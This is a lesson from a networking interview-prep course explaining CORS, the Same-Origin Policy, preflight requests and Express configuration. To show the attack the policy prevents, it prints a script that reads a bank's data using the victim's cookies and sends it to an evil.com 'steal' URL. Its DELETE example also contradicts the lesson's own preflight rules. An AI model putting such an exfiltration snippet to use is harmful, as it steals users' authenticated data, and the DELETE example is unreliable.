Networking Interview Prep
Networking for Web Developers

CORS

Cross-Origin Resource Sharing

LinkedIn Hook

You've seen this error. Everyone has.

Access to fetch at 'https://api.example.com' from origin 'http://localhost:3000' has been blocked by CORS policy

Most developers just Google "how to fix CORS" and paste in a wildcard header. That works. But it means you don't understand WHY CORS exists — and that comes up in every web interview.

CORS is not a bug. It is a browser security feature protecting you from malicious websites silently sending requests to your bank, your email, your internal dashboard — using YOUR authenticated session.

Lesson 8.4 of my Networking Interview Prep series explains the Same-Origin Policy, what CORS actually does, how preflight requests work, and the correct way to configure it.

Read the full lesson → [link]

#CORS #WebSecurity #WebDevelopment #InterviewPrep #Networking #BackendDevelopment


CORS thumbnail


What You'll Learn

  • What the Same-Origin Policy is and why it exists
  • What "origin" means (scheme + host + port — all three)
  • Why CORS is a browser feature, not a server feature
  • How simple vs preflighted requests differ
  • How to correctly configure CORS on a server (not just slap on *)
  • The most common CORS errors and how to fix each one
  • Why Access-Control-Allow-Origin: * cannot be used with credentials

The Passport Control Analogy

Imagine every country (origin) has its own airport. Citizens of country A can fly domestically without any checks. But to enter country B, they need a visa (CORS header) issued by country B's government (the server).

Passport control (the browser's Same-Origin Policy) stops anyone without the right visa from crossing. You can try to board — the plane (request) might even take off — but passport control on landing will refuse entry and return you.

The critical insight: passport control is at the destination airport (browser), not on the plane itself (the request). The server still received the request. The browser is what blocks the response from reaching your JavaScript.


The Same-Origin Policy

The Same-Origin Policy (SOP) is a browser security rule: JavaScript can only read responses from requests made to the same origin as the page making the request.

Origin = scheme + host + port (all three must match)

Page:    https://app.example.com:443/dashboard

Request to:                                    Same origin?
https://app.example.com:443/api/users         YES — exact match
https://app.example.com/api/users             YES — port 443 is implied by https
http://app.example.com/api/users              NO  — different scheme (https vs http)
https://api.example.com/users                 NO  — different host (app vs api)
https://app.example.com:8080/api/users        NO  — different port (443 vs 8080)
https://example.com/api/users                 NO  — different host (app.example.com vs example.com)

The browser enforces SOP by blocking JavaScript from reading cross-origin responses. The request does go to the server — SOP is about reading the response, not sending the request.

Why SOP Exists — The Attack It Prevents

Without SOP, any website could silently steal your data from other sites:

You visit evil.com in your browser.
evil.com's JavaScript runs:

fetch("https://yourbank.com/api/balance", {
  credentials: "include"   // sends your bank cookies!
})
.then(res => res.json())
.then(data => {
  // evil.com now has your balance and account numbers
  fetch("https://evil.com/steal?data=" + JSON.stringify(data));
});

Without SOP, this works — your browser sends your authenticated session cookies to the bank, the bank responds with your data, and evil.com reads it. SOP stops the last step: the browser blocks evil.com's JavaScript from reading the bank's response.


What CORS Does

CORS is a controlled relaxation of the Same-Origin Policy. It lets servers declare which cross-origins are permitted to read their responses.

When a cross-origin request is made, the browser checks the server's CORS headers. If the server grants permission, the browser allows JavaScript to read the response. If not, the browser blocks it — even though the request reached the server.

Browser makes cross-origin fetch:
  fetch("https://api.example.com/users")  ← from app.example.com

Browser adds to request:
  Origin: https://app.example.com

Server sees the Origin header and responds:
  Access-Control-Allow-Origin: https://app.example.com

Browser checks: does the response header allow this origin?
  YES → JavaScript can read the response
  NO  → Browser throws CORS error, JavaScript sees nothing

CORS is enforced by the browser. If you make the same request with curl or Postman, CORS does not apply — those tools are not browsers. This confuses many developers who think "but Postman works!"


Simple Requests vs Preflight Requests

CORS has two different flows depending on the request type.

Simple Requests (No Preflight)

A request is "simple" if it meets ALL of:

  • Method is GET, HEAD, or POST
  • Content-Type is text/plain, multipart/form-data, or application/x-www-form-urlencoded
  • No custom headers

For simple requests, the browser sends the real request immediately with an Origin header and checks the response.

Simple request flow:
  Browser → GET https://api.example.com/data
             Origin: https://app.example.com

  Server  → 200 OK
             Access-Control-Allow-Origin: https://app.example.com
             [response body]

  Browser → Origin matches! JavaScript can read the response.

Preflight Requests (OPTIONS)

For "non-simple" requests (POST with JSON, PUT, DELETE, any custom header), the browser first sends an OPTIONS preflight request to ask for permission before sending the real request.

Preflight flow:

Step 1: Browser sends OPTIONS (preflight):
  OPTIONS https://api.example.com/users HTTP/1.1
  Origin: https://app.example.com
  Access-Control-Request-Method: POST
  Access-Control-Request-Headers: Content-Type, Authorization

Step 2: Server responds to preflight:
  HTTP/1.1 204 No Content
  Access-Control-Allow-Origin: https://app.example.com
  Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
  Access-Control-Allow-Headers: Content-Type, Authorization
  Access-Control-Max-Age: 86400    ← cache preflight for 24 hours

Step 3: Browser sends real request (if preflight succeeded):
  POST https://api.example.com/users HTTP/1.1
  Origin: https://app.example.com
  Content-Type: application/json
  Authorization: Bearer eyJ...
  [body: {"name": "Rakibul"}]

Step 4: Server responds:
  HTTP/1.1 201 Created
  Access-Control-Allow-Origin: https://app.example.com
  [body: {"id": 42, "name": "Rakibul"}]

Access-Control-Max-Age tells the browser how long to cache the preflight result. Without it, the browser sends a new OPTIONS request before every non-simple cross-origin request.

CORS visual 1


Configuring CORS on a Server

Node.js / Express

const express = require("express");
const app = express();

// Option 1: Use the 'cors' package (recommended)
const cors = require("cors");

app.use(cors({
  origin: "https://app.example.com",    // only allow this origin
  methods: ["GET", "POST", "PUT", "DELETE", "OPTIONS"],
  allowedHeaders: ["Content-Type", "Authorization"],
  credentials: true,                    // allow cookies/auth headers
  maxAge: 86400                         // cache preflight for 24 hours
}));

// Option 2: Multiple allowed origins
const allowedOrigins = ["https://app.example.com", "https://staging.example.com"];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (curl, Postman, mobile apps)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error("Not allowed by CORS"));
    }
  },
  credentials: true
}));

// Option 3: Manual CORS headers (for understanding)
app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.setHeader("Access-Control-Allow-Origin", origin);
  }

  res.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
  res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.setHeader("Access-Control-Allow-Credentials", "true");
  res.setHeader("Access-Control-Max-Age", "86400");

  // Handle preflight
  if (req.method === "OPTIONS") {
    return res.status(204).send();
  }

  next();
});

The credentials Problem — Why * Breaks Auth

Access-Control-Allow-Origin: * means any origin can read this response. But there is a critical restriction:

You cannot use * with credentials (cookies, Authorization headers).

// Client sending credentials (cookies or Authorization header)
fetch("https://api.example.com/profile", {
  credentials: "include"   // sends cookies
})

// If server responds with:
Access-Control-Allow-Origin: *

// Browser throws:
// "The value of the 'Access-Control-Allow-Credentials' header in
//  the response is '' which must be 'true' when the request's
//  credentials mode is 'include'."

When credentials are involved, the server must:

  1. Set Access-Control-Allow-Origin to the specific origin (not *)
  2. Set Access-Control-Allow-Credentials: true
// CORRECT for authenticated requests:
res.setHeader("Access-Control-Allow-Origin", "https://app.example.com");  // specific
res.setHeader("Access-Control-Allow-Credentials", "true");

// WRONG for authenticated requests (browser rejects):
res.setHeader("Access-Control-Allow-Origin", "*");

Common CORS Errors and Fixes

Error 1: No 'Access-Control-Allow-Origin' header present
  Cause: Server sent no CORS headers at all
  Fix:   Add CORS middleware to your server for this route

Error 2: The 'Access-Control-Allow-Origin' header has value 'https://other.com'
         which is not equal to the supplied origin 'https://app.example.com'
  Cause: Server is allowing a different origin than the one making the request
  Fix:   Update allowed origins list to include 'https://app.example.com'

Error 3: Response to preflight request doesn't pass access control check:
         No 'Access-Control-Allow-Origin' header
  Cause: Server is not handling OPTIONS method / preflight is not configured
  Fix:   Ensure your CORS config responds to OPTIONS requests with correct headers

Error 4: Request header field 'Authorization' is not allowed
  Cause: Server doesn't include 'Authorization' in Access-Control-Allow-Headers
  Fix:   Add "Authorization" to your allowedHeaders configuration

Error 5: Wildcard '*' cannot be used with credentials
  Cause: credentials: "include" on client + Access-Control-Allow-Origin: * on server
  Fix:   Set specific origin + Access-Control-Allow-Credentials: true

CORS Does Not Protect Your Server

A critical misconception: CORS does not prevent requests from reaching your server — it only prevents browsers from reading the responses.

Server without any CORS headers:

Browser (from evil.com) → DELETE /users/42 → Server
                                               [user 42 is deleted]
                          ← 200 OK ←
Browser blocks JavaScript from reading the 200 OK response.

BUT: The DELETE already happened on the server.

For simple requests (GET, POST with basic content types), the browser sends the request first, then blocks the response if CORS fails. The server action has already occurred.

This is why authentication and authorization on the server side are essential — not CORS headers. CORS is about protecting the client from reading malicious cross-origin responses, not about protecting the server from receiving requests.


Common Mistakes

  • Using Access-Control-Allow-Origin: * for APIs that use authentication. Wildcard origins are fine for public APIs with no authentication (public CDN assets, public data APIs). For any API that uses cookies or Authorization headers, you must specify the exact allowed origins. * with credentials is rejected by browsers.

  • Thinking CORS errors mean the server is broken. A CORS error means the browser is enforcing the Same-Origin Policy because the server did not grant permission. The server is often working fine — curl will succeed. The fix is always on the server (add CORS headers), not the client.

  • Not caching preflight responses. Without Access-Control-Max-Age, the browser sends an OPTIONS preflight before every non-simple cross-origin request. For an API called many times per page, this doubles the number of HTTP requests. Set Access-Control-Max-Age: 86400 (24 hours) to cache the preflight result.


Interview Questions

Q: What is the Same-Origin Policy and why does it exist?

The Same-Origin Policy is a browser security rule that prevents JavaScript from reading responses from a different origin (scheme + host + port). It exists to prevent malicious websites from using a user's authenticated session to steal data from other sites. Without SOP, visiting evil.com could silently make requests to your bank using your cookies and read your account data. SOP stops the response from being readable by the malicious script — the request still reaches the server, but the browser blocks JavaScript from accessing the result.

Q: What is a preflight request? When does it happen?

A preflight is an HTTP OPTIONS request the browser automatically sends before a non-simple cross-origin request. It asks the server: "will you allow this method and these headers from this origin?" The server responds with CORS permission headers. If the preflight succeeds, the browser sends the real request. Preflight happens when the request uses a method other than GET/HEAD/POST, uses POST with a non-basic Content-Type (like application/json), or includes custom headers like Authorization. Simple requests (GET with no custom headers, basic-form POSTs) skip the preflight and get the CORS check on the real response.

Q: Why can't you use Access-Control-Allow-Origin: * with cookies or Authorization headers?

When a request includes credentials (cookies or Authorization header with credentials: "include"), the browser requires the server to explicitly name the allowed origin rather than using a wildcard. This is a security requirement: if * were allowed with credentials, any website could make authenticated requests to your API and read the results. The spec prohibits this combination. The server must respond with the specific requesting origin in Access-Control-Allow-Origin and additionally set Access-Control-Allow-Credentials: true.

Q: Does CORS protect the server?

No. CORS is a browser-enforced policy that protects the client from reading unauthorized cross-origin responses. It does not prevent requests from reaching the server. For simple requests, the browser sends the request and the server processes it before checking CORS headers — the database update or deletion has already happened by the time the browser decides to block the response. Server protection requires authentication and authorization middleware (checking tokens, validating permissions) — not CORS configuration.


Quick Reference — Cheat Sheet

Origin Definition

https://app.example.com:443/dashboard

scheme:  https
host:    app.example.com
port:    443 (implied)

Different scheme = different origin
Different host   = different origin
Different port   = different origin

CORS Headers Reference

HeaderDirectionPurpose
OriginRequestBrowser sends this automatically on cross-origin requests
Access-Control-Allow-OriginResponseWhich origin is permitted (* or specific URL)
Access-Control-Allow-MethodsPreflight responseWhich HTTP methods are allowed
Access-Control-Allow-HeadersPreflight responseWhich request headers are allowed
Access-Control-Allow-CredentialsResponseWhether cookies/auth headers are permitted
Access-Control-Max-AgePreflight responseSeconds to cache the preflight result
Access-Control-Expose-HeadersResponseWhich response headers JS can read
Access-Control-Request-MethodPreflight requestBrowser asks: "can I use this method?"
Access-Control-Request-HeadersPreflight requestBrowser asks: "can I use these headers?"

Simple vs Preflighted

CriterionSimplePreflight Triggered
MethodsGET, HEAD, POSTPUT, DELETE, PATCH, or any custom
Content-Typetext/plain, multipart/form-data, application/x-www-form-urlencodedapplication/json, anything else
Custom headersNoneAny (Authorization, X-Custom-Header, etc.)
Extra round tripNoYes — OPTIONS before real request

Decision Tree

Cross-origin request made?
        |
     YES
        |
Simple request? (GET/HEAD/POST + basic content type + no custom headers)
        |                              |
       YES                            NO
        |                              |
Send request directly         Browser sends OPTIONS preflight
Check CORS on response        Server must respond with allow headers
                              If allowed → send real request
                              If blocked → CORS error, real request NOT sent

Previous: Lesson 8.3 → Next: Lesson 8.5 →


This is Lesson 8.4 of the Networking Interview Prep Course — 8 chapters, 32 lessons.

On this page